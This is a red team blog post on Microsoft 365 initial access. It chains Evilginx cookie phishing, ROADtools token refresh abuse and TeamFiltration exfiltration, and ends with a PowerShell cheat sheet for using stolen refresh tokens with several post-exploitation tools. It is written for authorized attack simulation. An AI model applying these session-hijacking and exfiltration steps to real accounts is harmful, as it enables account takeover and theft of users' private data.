Skip to Main Content
November 07, 2023

The Triforce of Initial Access

Written by Melvin Langvik
Red Team Adversarial Attack Simulation


While Red Teamers love to discuss and almost poetically describe their C2 feature sets, EDR evasion capabilities, and fast weaponizing of N-day exploits, something that is rarely mentioned is good old loot.

Loot, or information in general, will almost always be the deciding factor in whether someone clicks your link, happily follows your instructions, or accepts their MFA pushover prompt. It is vital for the future success of the operations and, in turn, reaching the goals designated by the client.

I frequently found myself willing to almost intentionally burn my initial access (or at the very least risk it) for the trade-off of gaining information. In my experience, with the correct information, getting back in is almost never an issue.

More often than not, I find myself targeting clients utilizing Entra ID (Azure AD) to manage users, services, and licenses. As a result, phishing Microsoft Office 365 accounts as a means of initial access has become very common. With each successful phishing campaign, I'm gaining access to a relatively flat stack of services, including Teams, Outlook, OneDrive, OneNote, and SharePoint. While this initial access might sound insignificant, these are all gold mines in terms of information. I cannot understate how absolutely amazing end-users are at storing sensitive information where they should not. Plaintext passwords? Throw them in Outlook notes or maybe OneNote if there are so many. Passports, Driver's, or marriage licenses? I better keep those in my OneDrive. What was the password to that service again? - asked every colleague ever via Teams.

The Triforce

While one can often gain initial access, how long the access will last before getting kicked out is anyone's guess. Thus, it becomes important to spend the time effectively. This is where the open-source community comes in—there are three tools (and one script) specifically that I believe to be the modern-day Triforce for Microsoft Office initial access.


The infamous open-source phishing framework Evilginx has been around for a very long time. With the recent version 3.0 update and the release of its Mastery Training Course, the tool’s creator @mrgretzky has done an excellent job in aiding phishing simulations around the world. Evilginx is described as a MitM attack framework that, when used for phishing, allows us to capture both the credentials and session cookies to bypass MFA protections. 

Figure 1 - Evilginx Phishing Framework

The common attack flow when targeting Entra ID users with Evilginx has been getting your hands on the cookies ESTSAUTHPERSISTENT and ESTSAUTH. Once acquired, you can insert these cookies into your own attack-controlled browser and effectively become authenticated without ever needing a user password or dealing with their MFA device(s). This is commonly called Session Hijacking and is more or less the de facto standard in modern phishing.

Figure 2 - Captured Microsoft Office Cookies

While browsing around in a hijacked interactive O365 session is great and all, it's really time-consuming. What more can we do with these cookies?


ROADtools by @_dirkjan is THE go-to tool once you get initial access to an Entra ID tenant. From general tenant enumeration, token manipulation, PRT injection, claims enrichment, and device enrollment, one of its most powerful features, in my opinion, is the possibility to authenticate from almost any context: passwords, certificates, cookies, Kerberos tickets, access tokens, PRT, you name it! The RoadTX library within ROADtools is the most relevant for our usage, as it allows us to authenticate using our stolen cookies and retrieve a fresh set of JWT tokens.

Figure 3 - ROADtools RoadTX interactiveauth Flow

The produced access and refresh tokens will be saved in the .roadtools_auth file by default.

JWT tokens are commonly used by mobile and desktop applications to communicate with the APIs provided by Entra ID. Usage of these tokens was previously displayed in their own tab within the Entra ID Sign-in logs panel, the ‘non-interactive logins’ tab. This seems to have changed though, as all logs have been collected into the same panel, with the column Client app separating the two.

Figure 4 - Entra ID Sign-In Logs

While these tokens are only valid for a given resource and issued on behalf of an application defined by a ‘ClientId’ (GUID string), Microsoft's OAuth implementation allows us to ‘refresh’ into other resources. Let's say we have a valid access token and refresh token for the Microsoft Graph API (resource URI: In order to retrieve a new set of tokens for another resource, say Teams (resource URI:, we use the refresh token for the Graph API but specify a different resource URI in the refresh token POST request.

Figure 5 - Microsoft Refresh Token Flow

While the above refresh flow does not work for all resources, this rabbit hole goes much deeper. I highly recommend reading the research on this and accompanying issues posted by SecureWorks in their family-of-client-ids GitHub repo. 

But for now, you might see where I'm going with this. Using tokens and abusing Microsoft's loose adaptation of the OAuth specification, we can refresh into ‘all the things’ and communicate directly with most Microsoft Office Service APIs. If only there were some tools to abuse these tokens to, say, exfiltrate large amounts of data?


Shameless personal plug aside, TeamFiltration's exfiltration module is an excellent last piece in the Triforce. The most prominent feature of TeamFiltration is that it allows for automated exfiltration of data from Microsoft Office, including Emails and Email Attachments, Teams Chat logs and Chat attachments, OneDrive files, and Shared files from SharePoint, as well as Users, Group, and Tenant information from Entra ID. It has automated Conditional Access enumeration and will attempt to bypass MFA if blocked. With support for parsing the standardized .roadtools_auth output from ROADtools, it's a painless process, and watching the loot rain never gets old.

Figure 6 - TeamFiltration Exfiltration

Did you know that TeamFiltration not only dumps Teams Chat logs but also converts them into an easily readable HTML format? Looks just like the real thing! 

Figure 7 - Teams Chat Conversations


If it can be automated, it should be automated! To that extent, I wrote myself a handy Python script called Bobber. Bobber will monitor a given Evilginx database file for changes, and if a valid Evilginx session complete with a captured cookie is found, Bobber will utilize the ROADtools RoadTX library to retrieve the access token and refresh token for the user, then optionally trigger TeamFiltration to exfiltrate all the sweet, sweet loot. Bobber supports monitoring a local file path or a file path on a remote host through SSH. I have found this particularly helpful, as infrastructure is separated, and extended post-initial access activity is typically performed from a dedicated host. 

Figure 8 - Bobber Basic Usage

Bobber accepts a number of input arguments to adjust the ROADtools interactiveauth flow and selection between key and credentials-based SSH auth, as well as the added benefit of getting pushover notifications once a user submits their credentials. Then, the loot is on the way. 

Figure 9 - Bobber Arguments and Options

Bobber, along with examples of usage and documentation, can be found on GitHub.

More is Better!

While TeamFiltration is my highly biased pick, there is a long list of other Entra ID-targeted tooling that abuses token-based authentication for post-initial-access activities. Below is a cheat sheet on how to use the .roadtools_auth file to get up and running with some of them. Since most tools are either PowerShell based or ran from a Windows system, the cheatsheet is all PowerShell based.


AADInternals is a modular PowerShell framework for exploring the pathways your access might have, created by my favorite Finnish person @DrAzureAD.

#read and parse RoadTools auth file into an JSON object
$roadToolsAuth = Get-Content .\firstname_lastname_example_com_roadtools_auth -raw | ConvertFrom-Json

#Add the token information from RoadTools to cache so it will be used for auth
Add-AADIntAccessTokenToCache -AccessToken $roadToolsAuth.accessToken -RefreshToken $roadToolsAuth.refreshToken

#Read Teams messages from the GraphAPI
Get-AADIntTeamsMessages | Format-Table id,content,deletiontime,*type*,DisplayName

# Send a Teams message to an an user, using the GraphAPI
Send-AADIntTeamsMessage -Recipients "[email protected]" -Message "Hello there, BATMAN!"

#Abusing Family Refresh Tokens to refresh into the "Microsoft Azure PowerShell" Application (1950a258-227b-4e31-a9cf-717495945fc2). Obtains an access-token with different/wider scope.

$msAzJWT =Get-AADIntAccessTokenWithRefreshToken -ClientId "1950a258-227b-4e31-a9cf-717495945fc2" -Resource "" -TenantId $roadToolsAuth.tenantId -RefreshToken $roadToolsAuth.refreshToken -SaveToCache 1 -IncludeRefreshToken 1


AzureHound is a BloodHound data collector for Microsoft Azure, from the great people over at @SpecterOps.

#read and parse RoadTools auth file into an JSON object
$roadToolsAuth = Get-Content .\firstname_lastname_example_com_roadtools_auth -raw | ConvertFrom-Json

#Use the refresh token and tenantId in order to run AzureHound against the tenant
azurehound.exe -r $roadToolsAuth.refreshToken -t $roadToolsAuth.tenantId list -o output.json


GraphRunner is a PowerShell-based post-exploitation toolset for interacting with the Microsoft Graph API, by @dafthack.

#Import GraphRunner
Import-Module .\GraphRunner.ps1

#read and parse RoadTools auth file into an JSON object
#While the JSON object of roadtools does not match what GraphRunner needs,enought objects match in order to "trick" GraphRunner into allowing us to run RefreshGraphTokens
$tokens = Get-Content .\firstname_lastname_example_com_roadtools_auth -raw | ConvertFrom-Json

#Run RefreshGraphTokens in order to update our $tokens var 
Invoke-RefreshGraphTokens -RefreshToken $roadToolsAuth.refreshToken  -tenantid $roadToolsAuth.tenantId

#Most common command to dump a series of information from the GraphAPI
Invoke-GraphRunner -Tokens $tokens


Power-Pwn is a Python-based offensive security toolset for targeting the Microsoft 365 Power Platform, by @mbrg0.

#read and parse RoadTools auth file into an JSON object
$roadToolsAuth = Get-Content .\firstname_lastname_example_com_roadtools_auth -raw | ConvertFrom-Json

#Create tokens.json in the same directory you are running powerpwn.exe from
@{cli_refresh_token = $roadToolsAuth.refreshToken } | ConvertTo-Json | Set-Content -Path 'tokens.json'

#Perform recon of possible Power Platform deployments
powerpwn.exe recon -t $roadToolsAuth.tenantId

#Dump data from found Power Platform deployments
powerpwn.exe dump -t $roadToolsAuth.tenantId


In summary, the success rate of modern-day Red Teaming can often be attributed to the quality of loot we are able gather and the tools we use to collect it. Evilginx, ROADtools, and TeamFiltration, supported by the Bobber script, hopefully serve as prime examples of this. Although our quest for loot does not involve rescuing princesses or battling monsters, it is every bit as challenging and rewarding. Happy hacking!